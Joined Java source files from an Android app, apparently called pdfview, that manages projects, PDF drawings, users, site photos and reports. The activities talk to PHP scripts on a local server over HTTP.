sign = 1;
Thread t = new Thread(new Runnable() {
@Override
public void run() {
File f = new File(data.getStringExtra(FilePickerActivity.RESULT_FILE_PATH));
//System.out.println(f);
//Insert用のファイル名を格納する
filesNameForInsert = f.getName();
System.out.println(f.getName());
String content_type = getMimeType(f.getPath());
String file_path = f.getAbsolutePath();
System.out.println(file_path);
pathForInsert = file_path;
/*getPDFInfo gp = new getPDFInfo();
gp.execute(insertPDFInformation);*/
sign = 1;
OkHttpClient client = new OkHttpClient();
RequestBody file_body = RequestBody.create(MediaType.parse(content_type), f);
RequestBody request_body = new MultipartBody.Builder()
.setType(MultipartBody.FORM)
.addFormDataPart("type", content_type)
.addFormDataPart("uploaded_file", file_path.substring(file_path.lastIndexOf("/") + 1), file_body)
.build();
Request request = new Request.Builder()
.url("http://10.20.170.52/sample/save_file.php")
.post(request_body)
.build();
try {
Response response = client.newCall(request).execute();
if (!response.isSuccessful()) {
throw new IOException("Error : " + response);
}
progress.dismiss();
} catch (IOException e) {
e.printStackTrace();
}
}
});
t.start();
}
/*getPDFInfo gp = new getPDFInfo();
gp.execute(insertPDFInformation);*/
}
private String getMimeType(String path){
String extension = MimeTypeMap.getFileExtensionFromUrl(path);
return MimeTypeMap.getSingleton().getMimeTypeFromExtension(extension);
}
private class getPDFInfo extends AsyncTask<String, Void, ArrayList<String>> {
@Override
public ArrayList<String> doInBackground(String... params) {
String params0_url = params[0];
HttpURLConnection con = null;
//http接続のレスポンスデータとして取得するInputStreamオブジェクトを宣言(try外)
InputStream is = null;
//返却用の変数
StringBuffer conResult = new StringBuffer();
switch (params0_url) {
//画面遷移時にプロジェクト名を取得
case "http://10.20.170.52/sample/getProjectName.php":
//case "http://192.168.3.4/sample/downloadPDF.php":
System.out.println("getProjectName.php");
System.out.println("projectName");
//http接続
try {
//URLオブジェクト作成
URL url = new URL(params[0]);
//System.out.println(url);
//URLオブジェクトからHttpURLConnectionオブジェクトを取得
con = (HttpURLConnection) url.openConnection();
//HTTP接続メソッドを設定
con.setRequestMethod("GET");
//接続
con.connect();
final int httpStatus = con.getResponseCode();
System.out.println(httpStatus);
//HttpURLConnectionオブジェクトからレスポンスデータの取得
is = con.getInputStream();
String encoding = con.getContentEncoding();
if (null == encoding) {
encoding = "UTF-8";
}
final InputStreamReader inReader = new InputStreamReader(is, encoding);
final BufferedReader bufReader = new BufferedReader(inReader);
String line = bufReader.readLine();
//1行ずつ読み込み
while (line != null) {
conResult.append(line);
line = bufReader.readLine();
}
bufReader.close();
inReader.close();
is.close();
} catch (MalformedURLException ex) {
} catch (IOException ex) {
} finally {
//HttpURLConnectionオブジェクトがnull出ないならば解散
if (con != null) {
con.disconnect();
}
//InputStreamオブジェクトがnull出ないならば解散
if (is != null) {
try {
is.close();
} catch (IOException ex) {
}
}
}
//JSONからデータの取得
Pattern p_projectName = Pattern.compile(regex_projectName);
checkProjectName(p_projectName, conResult.toString());
//System.out.println(projectName);
//Pattern p_fileName = Pattern.compile(regex_fileName);
//checkFileName(p_fileName, conResult.toString());
//System.out.println(fileName);
//Pattern p_path = Pattern.compile(regex_path);
//checkPath(p_path, conResult.toString());
//System.out.println(path);
//result = conResult.toString();
System.out.println(conResult);
System.out.println(projectName);
System.out.println(path);
System.out.println(fileName);
return projectName;
//ユーザー登録
case "http://10.20.170.52/sample/insert_users_information.php":
System.out.println("insert_users_information.php");
try {
//String project_information = params[0];
//String dates = "2020-05-13";
URL url = new URL(params0_url);
con = (HttpURLConnection) url.openConnection();
con.setRequestMethod("POST");
con.setDoInput(true);
con.setDoOutput(true);
OutputStream outputStream = con.getOutputStream();
BufferedWriter bufferedWriter = new BufferedWriter(new OutputStreamWriter(outputStream, "UTF-8"));
//POSTデータの編集
String post_data = URLEncoder.encode("users_name", "UTF-8")
+ "=" + URLEncoder.encode(editUser, "UTF-8")
+ "&" + URLEncoder.encode("password", "UTF-8")
+ "=" + URLEncoder.encode(editPass, "UTF-8")
+ "&" + URLEncoder.encode("permission", "UTF-8")
+ "=" + URLEncoder.encode(editPer, "UTF-8");
System.out.println(post_data);
bufferedWriter.write(post_data);
bufferedWriter.flush();
bufferedWriter.close();
outputStream.close();
InputStream inputStream = con.getInputStream();
String encoding = con.getContentEncoding();
if (null == encoding) {
encoding = "UTF-8";
}
InputStreamReader inReader = new InputStreamReader(inputStream, encoding);
BufferedReader bufferedReader = new BufferedReader(inReader);
String line = bufferedReader.readLine();
while (line != null) {
conResult.append(line);
line = bufferedReader.readLine();
}
bufferedReader.close();
inputStream.close();
con.disconnect();
} catch (MalformedURLException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
break;
//図面登録
case "http://10.20.170.52/sample/uploadPDF.php":
//http接続
//try {
//URLオブジェクト作成
//URL url = new URL(params[0]);
//System.out.println(url);
File pdfFile = new File(getExternalFilesDir(Environment.DIRECTORY_DOWNLOADS) + "/lowcarbon05.pdf");
//File pdfFile = new File(dir.getAbsolutePath()+"/lowcarbon05.pdf");
System.out.println(pdfFile);
break;
//図面登録ボタン押下PDFデータの追加
case "http://10.20.170.52/sample/insert_pdf_information.php":
System.out.println("insert_pdf_information");
try {
//String project_information = params[0];
//String dates = "2020-05-13";
URL url = new URL(params0_url);
con = (HttpURLConnection) url.openConnection();
con.setRequestMethod("POST");
con.setDoInput(true);
con.setDoOutput(true);
OutputStream outputStream = con.getOutputStream();
BufferedWriter bufferedWriter = new BufferedWriter(new OutputStreamWriter(outputStream, "UTF-8"));
//POSTデータの編集
String post_data = URLEncoder.encode("projects_name", "UTF-8")
+ "=" + URLEncoder.encode(spinnerInfo, "UTF-8")
+ "&" + URLEncoder.encode("files_name", "UTF-8")
+ "=" + URLEncoder.encode(filesNameForInsert, "UTF-8")
+ "&" + URLEncoder.encode("path", "UTF-8")
+ "=" + URLEncoder.encode(pathForInsert, "UTF-8")
+ "&" + URLEncoder.encode("position", "UTF-8")
+ "=" + URLEncoder.encode(editProjectPermission, "UTF-8")
;
System.out.println(post_data);
bufferedWriter.write(post_data);
bufferedWriter.flush();
bufferedWriter.close();
outputStream.close();
InputStream inputStream = con.getInputStream();
String encoding = con.getContentEncoding();
if (null == encoding) {
encoding = "UTF-8";
}
InputStreamReader inReader = new InputStreamReader(inputStream, encoding);
BufferedReader bufferedReader = new BufferedReader(inReader);
String line = bufferedReader.readLine();
while (line != null) {
conResult.append(line);
line = bufferedReader.readLine();
}
bufferedReader.close();
inputStream.close();
con.disconnect();
System.out.println(conResult.toString());
} catch (MalformedURLException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
break;
//プロジェクト登録ボタン押下
case "http://10.20.170.52/sample/insert_projects_information.php":
System.out.println("insert_projects_information.php");
try {
//String project_information = params[0];
//String dates = "2020-05-13";
URL url = new URL(params0_url);
con = (HttpURLConnection) url.openConnection();
con.setRequestMethod("POST");
con.setDoInput(true);
con.setDoOutput(true);
OutputStream outputStream = con.getOutputStream();
BufferedWriter bufferedWriter = new BufferedWriter(new OutputStreamWriter(outputStream, "UTF-8"));
//POSTデータの編集
String post_data = URLEncoder.encode("projects_name", "UTF-8")
+ "=" + URLEncoder.encode(editProjectName, "UTF-8");
System.out.println(editProjectName);
System.out.println(post_data);
bufferedWriter.write(post_data);
bufferedWriter.flush();
bufferedWriter.close();
outputStream.close();
InputStream inputStream = con.getInputStream();
String encoding = con.getContentEncoding();
if (null == encoding) {
encoding = "UTF-8";
}
InputStreamReader inReader = new InputStreamReader(inputStream, encoding);
BufferedReader bufferedReader = new BufferedReader(inReader);
String line = bufferedReader.readLine();
while (line != null) {
conResult.append(line);
line = bufferedReader.readLine();
}
bufferedReader.close();
inputStream.close();
con.disconnect();
} catch (MalformedURLException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
projectName.add(editProjectName);
return projectName;
//画面遷移後プロジェクト選択
case "http://10.20.170.52/sample/getFileName.php":
try {
System.out.println("getFileName.php");
URL url = new URL(params0_url);
con = (HttpURLConnection) url.openConnection();
con.setRequestMethod("POST");
con.setDoInput(true);
con.setDoOutput(true);
OutputStream outputStream = con.getOutputStream();
BufferedWriter bufferedWriter = new BufferedWriter(new OutputStreamWriter(outputStream, "UTF-8"));
//POSTデータの編集
String post_data = URLEncoder.encode("projects_name", "UTF-8")
+ "=" + URLEncoder.encode(MainActivity.projectsNum.get(0), "UTF-8");
System.out.println(post_data);
bufferedWriter.write(post_data);
bufferedWriter.flush();
bufferedWriter.close();
outputStream.close();
InputStream inputStream = con.getInputStream();
String encoding = con.getContentEncoding();
if (null == encoding) {
encoding = "UTF-8";
}
InputStreamReader inReader = new InputStreamReader(inputStream, encoding);
BufferedReader bufferedReader = new BufferedReader(inReader);
String line = bufferedReader.readLine();
while (line != null) {
conResult.append(line);
line = bufferedReader.readLine();
}
bufferedReader.close();
inputStream.close();
con.disconnect();
} catch (MalformedURLException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
//JSONからデータの取得
System.out.println(conResult.toString());
fileName = new ArrayList<>();
Pattern p_fileName = Pattern.compile(regex_fileName);
checkFileName(p_fileName, conResult.toString());
System.out.println("-----fileName="+fileName+"--------");
Pattern p_pdfId = Pattern.compile(regex_pdfId);
checkPdfId(p_pdfId, conResult.toString());
return fileName;
}//switch終わり
return null;
}
@Override
public void onPostExecute(ArrayList<String> stringArrayList){
System.out.println("****************" + stringArrayList);
if (projectName.equals(stringArrayList)) {// ArrayAdapter
ArrayAdapter<String> adapter
= new ArrayAdapter<String>(MyPage_User.this,
android.R.layout.simple_spinner_item, stringArrayList);
adapter.setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item);
// spinner に adapter をセット
spinner.setAdapter(adapter);
}
else if (stringArrayList == null) {
/*getPDFInfo gp = new getPDFInfo();
gp.execute(insertPDFInformation);*/
System.out.println("nullに入って何もしない");
}
else if (stringArrayList == fileName){
//fileName = new ArrayList<>();
/*ArrayAdapter<String> adapterFile
= new ArrayAdapter<String>(MyPage.this,
android.R.layout.simple_spinner_item, Collections.singletonList(fileName.get(0)));*/
ArrayAdapter<String> adapterFile
= new ArrayAdapter<String>(MyPage_User.this,
android.R.layout.simple_spinner_item,fileName);
adapterFile.setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item);
/*
ArrayAdapter<String> arrayAdapter = new ArrayAdapter<String>(MyPage.this,
android.R.layout.simple_spinner_item, projectName);//Collections.singletonList(projectName.get(0)));
arrayAdapter.setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item);
*/
// spinner に adapter をセット
spinnerFile.setAdapter(adapterFile);
}
}
}
//正規表現でJSON形式から配列に当てはめる
private static void checkProjectName(Pattern p, String target){
Matcher m = p.matcher(target);
while(m.find()){
String pName = m.group();
projectName.add(pName.substring(18, pName.length() - 2));
//System.out.println(m.group());
}
}
private static void checkProjectId(Pattern p, String target){
Matcher m = p.matcher(target);
while(m.find()){
String pName = m.group();
projectId.add(pName.substring(16, pName.length() - 2));
projects_id = projectId.get(0);
System.out.println("projectsId=" + projects_id);
//System.out.println("-------------" + projects_id);
//System.out.println(m.group());
}
}
private static void checkFileName(Pattern p, String target){
Matcher m = p.matcher(target);
while(m.find()){
fileName.add(m.group().substring(13, m.group().length() - 2));
//System.out.println(m.group());
}
}
private static void checkPdfId(Pattern p, String target){
Matcher m = p.matcher(target);
while(m.find()){
pdfId.add(m.group().substring(11, m.group().length() - 2));
pdf_id = pdfId.get(0);
System.out.println(m.group());
}
}
private static void checkPath(Pattern p, String target){
Matcher m = p.matcher(target);
while(m.find()){
path.add(m.group().substring(9, m.group().length() - 1));
//System.out.println(m.group());
}
}
public void showPDF(View view){
//ファイル名のspinnerに選択されているものを表示する
paramFileName = spinnerFile.getSelectedItem().toString();
System.out.println(paramFileName);
selectedProjects = spinner.getSelectedItem().toString();
Intent intent = new Intent(this, showPDF.class);
startActivity(intent);
}
public void createProjectClick(View view){
final EditText editTextProject = new EditText(MyPage_User.this);
editTextProject.setHint("プロジェクト名");
AlertDialog.Builder builder = new AlertDialog.Builder(MyPage_User.this);
builder.setMessage("プロジェクト名を入力してください")
.setView(editTextProject)
.setPositiveButton("OK", new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialogInterface, int i) {
editProjectName = editTextProject.getText().toString();
MyPage_User.getPDFInfo gp = new MyPage_User.getPDFInfo();
gp.execute(insertProjectsInformation);
}
})
.setNegativeButton("キャンセル", new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialogInterface, int i) {
}
})
.show();
//EditText editText = findViewById(R.id.createProject);
//String editProjectName = editText.getText().toString();
//System.out.println(editProjectName);
}
public void insertUser(View view){
final EditText editTextUser = new EditText(MyPage_User.this);
editTextUser.setHint("ユーザー名");
final EditText editTextPassword = new EditText(MyPage_User.this);
editTextPassword.setHint("パスワード");
final EditText editTextPermission = new EditText(MyPage_User.this);
editTextPermission.setHint("権限(1、2、3)");
AlertDialog.Builder builder = new AlertDialog.Builder(MyPage_User.this);
LinearLayout layout = new LinearLayout(MyPage_User.this);
layout.setOrientation(LinearLayout.VERTICAL);
layout.addView(editTextUser);
layout.addView(editTextPassword);
layout.addView(editTextPermission);
builder.setMessage("ユーザー名、パスワード、権限を入力してください")
.setView(layout)
.setPositiveButton("OK", new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialogInterface, int i) {
editUser = editTextUser.getText().toString();
editPass = editTextPassword.getText().toString();
editPer = editTextPermission.getText().toString();
MyPage_User.getPDFInfo dp = new MyPage_User.getPDFInfo();
dp.execute(insertUsersInformation);
}
})
.setNegativeButton("キャンセル", new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialogInterface, int i) {
}
})
.show();
}
}<file_sep>package com.example.pdfview;
import androidx.annotation.RequiresApi;
import androidx.appcompat.app.AlertDialog;
import androidx.appcompat.app.AppCompatActivity;
import android.content.Context;
import android.content.DialogInterface;
import android.content.Intent;
import android.database.Cursor;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.graphics.Color;
import android.net.Uri;
import android.os.AsyncTask;
import android.os.Build;
import android.os.Bundle;
import android.provider.MediaStore;
import android.util.Log;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.AdapterView;
import android.widget.ArrayAdapter;
import android.widget.Button;
import android.widget.CheckBox;
import android.widget.CompoundButton;
import android.widget.GridView;
import android.widget.ImageView;
import android.widget.LinearLayout;
import android.widget.ScrollView;
import android.widget.Toast;
import com.nbsp.materialfilepicker.ui.DirectoryAdapter;
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.OutputStreamWriter;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLEncoder;
import java.util.ArrayList;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
public class selectPic extends AppCompatActivity {
//private GridView mGridView = null;
//private Button mButton = null;
public static String loginResult = "";
//
public static String getPicturesInfo = "http:/10.20.170.52/sample/get_point_pictures_information.php";
public static String deletePicturesInfo = "http:/10.20.170.52/sample/delete_picture.php";
public static ArrayList<String> picturesName;// = new ArrayList<String>();
public static ArrayList<String> path;// = new ArrayList<String>();
public static int picNum;
public static ArrayList<String> deletePicturesName;
public static ScrollView scrollView;
public static LinearLayout linearLayout_main;
public static GridView gridView;
public static ArrayList<Bitmap> bitmapArrayList;
public static ArrayList<Integer> selectFlag;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_select_pic);
//scrollView = new ScrollView(this);
//scrollView = findViewById(R.id.scrollView);
//setContentView(scrollView);
//pointId
Intent intent1 = getIntent();
String reportPointId = intent1.getStringExtra("pointID");
//System.out.println(reportPointId);
create cr = new create();
cr.execute(getPicturesInfo, reportPointId);
gridView = (GridView) findViewById(R.id.gridView1);
}
private class create extends AsyncTask<String, Void, ArrayList<Bitmap>> {
@RequiresApi(api = Build.VERSION_CODES.KITKAT)
@Override
public ArrayList<Bitmap> doInBackground(String... params) {
//http接続を行うHttpURLConnectionオブジェクトを宣言
//finallyで解放するためにtry外で宣言
HttpURLConnection con = null;
//http接続のレスポンスデータとして取得するInputStreamオブジェクトを宣言(try外)
InputStream is = null;
//返却用の変数
StringBuffer conResult = new StringBuffer();
String sw = params[0];
//String sw = "http:/10.20.170.52/sample/get_point_pictures_information.php";
String checkResult = "";
picturesName = new ArrayList<String>();
path = new ArrayList<String>();
switch (sw) {
case "http:/10.20.170.52/sample/delete_picture.php":
String localHostUrl = "http://10.20.170.52/sample/delete_picture.php";
HttpURLConnection httpURLConnection = null;
for(int i = 0; i < deletePicturesName.size(); i++){
try {
String pictures_information = deletePicturesName.get(i);
//String pass_word = params[2];
URL url = new URL(localHostUrl);
httpURLConnection = (HttpURLConnection) url.openConnection();
httpURLConnection.setRequestMethod("POST");
httpURLConnection.setDoInput(true);
httpURLConnection.setDoOutput(true);
OutputStream outputStream = httpURLConnection.getOutputStream();
BufferedWriter bufferedWriter = new BufferedWriter(new OutputStreamWriter(outputStream, "UTF-8"));
String post_data = URLEncoder.encode("pictures_name", "UTF-8") + "=" + URLEncoder.encode(pictures_information, "UTF-8");// + "&" + URLEncoder.encode("password", "<PASSWORD>") + "=" + URLEncoder.encode(pass_word, "UTF-8");
bufferedWriter.write(post_data);
bufferedWriter.flush();
bufferedWriter.close();
outputStream.close();
InputStream inputStream = httpURLConnection.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream, "iso-8859-1"));
String line = "";
while ((line = bufferedReader.readLine()) != null) {
loginResult += line;
}
bufferedReader.close();
inputStream.close();
httpURLConnection.disconnect();
} catch (MalformedURLException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
System.out.println(loginResult);
}
//String test = "test";
return null;
case "http:/10.20.170.52/sample/get_point_pictures_information.php":
try {
String report_place_id = params[1];
URL url = new URL(sw);
con = (HttpURLConnection) url.openConnection();
con.setRequestMethod("POST");
con.setDoInput(true);
con.setDoOutput(true);
OutputStream outputStream = con.getOutputStream();
BufferedWriter bufferedWriter = new BufferedWriter(new OutputStreamWriter(outputStream, "UTF-8"));
//POSTデータの編集
String post_data = URLEncoder.encode("report_place_id", "UTF-8") + "=" + URLEncoder.encode(report_place_id, "UTF-8");// + "&" + URLEncoder.encode("password", "UTF-8") + "=" + URLEncoder.encode(pass_word, "UTF-8");
System.out.println(post_data);
bufferedWriter.write(post_data);
bufferedWriter.flush();
bufferedWriter.close();
outputStream.close();
InputStream inputStream = con.getInputStream();
String encoding = con.getContentEncoding();
if (null == encoding) {
encoding = "UTF-8";
}
InputStreamReader inReader = new InputStreamReader(inputStream, encoding);
BufferedReader bufferedReader = new BufferedReader(inReader);
String line = bufferedReader.readLine();
while (line != null) {
conResult.append(line);
line = bufferedReader.readLine();
}
bufferedReader.close();
inputStream.close();
con.disconnect();
} catch (MalformedURLException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
//System.out.println("con" + conResult);
}
//事前情報の取得
String regex_pictures_Name = "\"pictures_name\":.+?\",";
//String regex_date = "\"date\":.+?\",";
//String regex_recorder = "\"recorder\":.+?\",";
//String regex_fileName = "\"fileName\":.+?\",";
String regex_path = "\"path\":.+?\",";
//String regex_comments = "\"comments\":.+?]";
Pattern p_projectName = Pattern.compile(regex_pictures_Name);
checkPicturesName(p_projectName, conResult.toString());
System.out.println(picturesName);
Pattern p_path = Pattern.compile(regex_path);
checkPath(p_path, conResult.toString());
System.out.println(path);
//画像の抽出
//ArrayList<Bitmap> bitmapArrayList = new ArrayList<>();
bitmapArrayList = new ArrayList<>();
selectFlag = new ArrayList<>();
Bitmap bmp = null;
//System.out.println("getImage" + address);
int i = 0;
picNum = picturesName.size();
while (i < picturesName.size()) {
selectFlag.add(0);
String address = path.get(i);
System.out.println(address);
HttpURLConnection urlConnection = null;
try {
URL url = new URL(address);
// HttpURLConnection インスタンス生成
urlConnection = (HttpURLConnection) url.openConnection();
// タイムアウト設定
urlConnection.setReadTimeout(10000);
urlConnection.setConnectTimeout(20000);
// リクエストメソッド
urlConnection.setRequestMethod("GET");
// リダイレクトを自動で許可しない設定
urlConnection.setInstanceFollowRedirects(false);
// 接続
urlConnection.connect();
int resp = urlConnection.getResponseCode();
switch (resp) {
case HttpURLConnection.HTTP_OK:
try (InputStream ips = urlConnection.getInputStream()) {
bmp = BitmapFactory.decodeStream(ips);
bitmapArrayList.add(bmp);
ips.close();
} catch (IOException e) {
e.printStackTrace();
}
break;
case HttpURLConnection.HTTP_UNAUTHORIZED:
break;
default:
break;
}
} catch (Exception e) {
Log.d("debug", "downloadImage error");
e.printStackTrace();
} finally {
if (urlConnection != null) {
urlConnection.disconnect();
}
}
i++;
}
return bitmapArrayList;
}
@Override
public void onPostExecute(final ArrayList<Bitmap> bitmapArrayList) {
if(bitmapArrayList != null){
System.out.println(bitmapArrayList);
/* ImageView imageView = findViewById(R.id.imageview);
imageView.setImageBitmap(bitmapArrayList.get(0));*/
gridView.setAdapter(new ImageAdapter(selectPic.this));
gridView.setOnItemClickListener(new AdapterView.OnItemClickListener() {
public void onItemClick(AdapterView parent, View view, int position, long id) {
final View v = view;
final int pos = position;
ImageView bitImage = new ImageView(selectPic.this);
bitImage.setImageBitmap(bitmapArrayList.get(position));
AlertDialog.Builder builder = new AlertDialog.Builder(selectPic.this);
builder.setView(bitImage)
//.setMessage("ユーザー名、パスワード、権限を入力してください")
//.setView(layout)
.setPositiveButton("選択", new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialogInterface, int i) {
if(selectFlag.get(pos) == 1){
v.setBackgroundColor(Color.WHITE);
selectFlag.set(pos, 0);
System.out.println(selectFlag.get(pos));
}
else{
v.setBackgroundColor(R.drawable.border_bisque);
selectFlag.set(pos, 1);
System.out.println(selectFlag.get(pos));
}
}
})
.setNegativeButton("戻る", new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialogInterface, int i) {
}
})
.show();
//Toast.makeText(selectPic.this, "" + position, Toast.LENGTH_LONG).show();
}
});
gridView.setOnItemLongClickListener(new AdapterView.OnItemLongClickListener() {
@Override
public boolean onItemLongClick(AdapterView<?> parent, View view, int position, long id) {
if(selectFlag.get(position) == 1){
view.setBackgroundColor(Color.WHITE);
selectFlag.set(position, 0);
System.out.println(selectFlag.get(position));
}
else{
view.setBackgroundColor(R.drawable.border_bisque);
selectFlag.set(position, 1);
System.out.println(selectFlag.get(position));
}
return true;
}
});
System.out.println(selectFlag);
System.out.println(picturesName);
}else{
finish();
startActivity(getIntent());
}
}
}
private static void checkPicturesName(Pattern p, String target) {
Matcher m = p.matcher(target);
while (m.find()) {
String pName = m.group();
picturesName.add(pName.substring(18, pName.length() - 2));
System.out.println(m.group());
}
}
private static void checkPath(Pattern p, String target) {
Matcher m = p.matcher(target);
while (m.find()) {
String pName = m.group();
path.add(pName.substring(9, pName.length() - 2));
System.out.println(m.group());
}
}
public void deleteClick(View view){
deletePicturesName = new ArrayList<>();
String projects_name = "sample1";
String delete = "1598935107684.jpg";
for(int i = 0; i < selectFlag.size(); i++){
if (selectFlag.get(i) == 1){
deletePicturesName.add(String.valueOf(picturesName.get(i)));
}
}
create cr = new create();
cr.execute(deletePicturesInfo);
System.out.println(deletePicturesName);
}
}
<file_sep>package com.example.pdfview;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.graphics.Color;
import android.graphics.drawable.GradientDrawable;
import android.os.AsyncTask;
import android.os.Build;
import android.os.Bundle;
import android.telephony.CellInfoWcdma;
import android.util.Log;
import android.view.Gravity;
import android.view.View;
import android.view.ViewGroup;
import android.widget.Button;
import android.widget.EditText;
import android.widget.ImageView;
import android.widget.LinearLayout;
import android.widget.ScrollView;
import android.widget.Switch;
import android.widget.TextView;
import androidx.annotation.RequiresApi;
import androidx.appcompat.app.AppCompatActivity;
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.OutputStreamWriter;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLEncoder;
import java.text.DateFormat;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
public class createReport extends AppCompatActivity {
public String urlLocal = "http:/10.20.170.52/sample/sample1.php";
public String url = "http:/10.20.170.52";
public static ArrayList<String> projectName;// = new ArrayList<>();
public static ArrayList<String> date;// = new ArrayList<>();
public static ArrayList<String> recorder;// = new ArrayList<>();
public static ArrayList<String> fileName;// = new ArrayList<>();
public static ArrayList<String> path;// = new ArrayList<>();
public static ArrayList<String> comments;// = new ArrayList<>();
public GradientDrawable drawable1, drawable2;
public ScrollView Main;
public LinearLayout linearLayout_Main;
public String imagePath;
public int i;// = 0;
public int j;// = 0;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
//setContentView(R.layout.activity_create_report);
//初期化
projectName = new ArrayList<>();
date = new ArrayList<>();
recorder = new ArrayList<>();
fileName = new ArrayList<>();
path = new ArrayList<>();
comments = new ArrayList<>();
i = 0;
j = 0;
//背景の定義①
drawable1 = new GradientDrawable();
drawable1.setStroke(3, Color.parseColor("#000000"));
drawable1.setCornerRadius(3);
drawable1.setColor(Color.parseColor("#c0c0c0"));
//背景の定義②
drawable2 = new GradientDrawable();
drawable2.setStroke(3, Color.parseColor("#000000"));
drawable2.setCornerRadius(3);
Main = new ScrollView(this);
setContentView(Main);
//画面全体のレイアウト設定
linearLayout_Main = new LinearLayout(this);
//垂直方向に設定
linearLayout_Main.setOrientation(LinearLayout.VERTICAL);
create cr = new create();
cr.execute(urlLocal);
}
private class create extends AsyncTask<String, Void, ArrayList<Bitmap>> {
@RequiresApi(api = Build.VERSION_CODES.KITKAT)
@Override
public ArrayList<Bitmap> doInBackground(String... params) {
//returnの定義
//String result;
//引数として接続先のURLを取得
//System.out.println(params[0]);
//http接続を行うHttpURLConnectionオブジェクトを宣言
//finallyで解放するためにtry外で宣言
HttpURLConnection con = null;
//http接続のレスポンスデータとして取得するInputStreamオブジェクトを宣言(try外)
InputStream is = null;
//返却用の変数
StringBuffer conResult = new StringBuffer();
//String sw = params[0];
String sw = "http:/10.20.170.52/sample/createReport.php";
String checkResult = "";
switch (sw){
case "http:/10.20.170.52/sample/createReport.php":
try {
String project_information = params[0];
String dates = "2020-05-13OR2020-04-23";
URL url = new URL(sw);
con = (HttpURLConnection) url.openConnection();
con.setRequestMethod("POST");
con.setDoInput(true);
con.setDoOutput(true);
OutputStream outputStream = con.getOutputStream();
BufferedWriter bufferedWriter = new BufferedWriter(new OutputStreamWriter(outputStream, "UTF-8"));
String post_data = URLEncoder.encode("date", "UTF-8") + "=" + URLEncoder.encode(dates, "UTF-8");// + "&" + URLEncoder.encode("password", "<PASSWORD>") + "=" + URLEncoder.encode(pass_word, "UTF-8");
System.out.println(post_data);
bufferedWriter.write(post_data);
bufferedWriter.flush();
bufferedWriter.close();
outputStream.close();
InputStream inputStream = con.getInputStream();
String encoding = con.getContentEncoding();
if (null == encoding) {
encoding = "UTF-8";
}
InputStreamReader inReader = new InputStreamReader(inputStream, encoding);
BufferedReader bufferedReader = new BufferedReader(inReader);
String line = bufferedReader.readLine();
while (line != null) {
conResult.append(line);
line = bufferedReader.readLine();
}
bufferedReader.close();
inputStream.close();
con.disconnect();
} catch (MalformedURLException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
//System.out.println("con" + conResult);
}
/*
//http接続
try {
//URLオブジェクト作成
URL url = new URL(params[0]);
//System.out.println(url);
//URLオブジェクトからHttpURLConnectionオブジェクトを取得
con = (HttpURLConnection) url.openConnection();
//HTTP接続メソッドを設定
con.setRequestMethod("GET");
//接続
con.connect();
final int httpStatus = con.getResponseCode();
System.out.println(httpStatus);
//HttpURLConnectionオブジェクトからレスポンスデータの取得
is = con.getInputStream();
String encoding = con.getContentEncoding();
if (null == encoding) {
encoding = "UTF-8";
}
final InputStreamReader inReader = new InputStreamReader(is, encoding);
final BufferedReader bufReader = new BufferedReader(inReader);
String line = bufReader.readLine();
//1行ずつ読み込み
while (line != null) {
conResult.append(line);
line = bufReader.readLine();
}
bufReader.close();
inReader.close();
is.close();
} catch (MalformedURLException ex) {
} catch (IOException ex) {
} finally {
//HttpURLConnectionオブジェクトがnull出ないならば解散
if (con != null) {
con.disconnect();
}
//InputStreamオブジェクトがnull出ないならば解散
if (is != null) {
try {
is.close();
} catch (IOException ex) {
}
}
}*/
//事前情報の取得
String regex_projectName = "\"projectName\":.+?\",";
String regex_date = "\"date\":.+?\",";
String regex_recorder = "\"recorder\":.+?\",";
String regex_fileName = "\"fileName\":.+?\",";
String regex_path = "\"path\":.+?G\"";
String regex_comments = "\"comments\":.+?]";
Pattern p_projectName = Pattern.compile(regex_projectName);
checkProjectName(p_projectName, conResult.toString());
System.out.println(projectName);
Pattern p_date = Pattern.compile(regex_date);
checkDate(p_date, conResult.toString());
System.out.println(date);
Pattern p_recorder = Pattern.compile(regex_recorder);
checkRecorder(p_recorder, conResult.toString());
System.out.println(recorder);
Pattern p_fileName = Pattern.compile(regex_fileName);
checkFileName(p_fileName, conResult.toString());
System.out.println(fileName);
Pattern p_path = Pattern.compile(regex_path);
checkPath(p_path, conResult.toString());
System.out.println(path);
//result = conResult.toString();
Pattern p_comments = Pattern.compile(regex_comments);
checkComments(p_comments, conResult.toString());
System.out.println(comments);
//画像の抽出
ArrayList<Bitmap> bitmapArrayList = new ArrayList<>();
Bitmap bmp = null;
//System.out.println("getImage" + address);
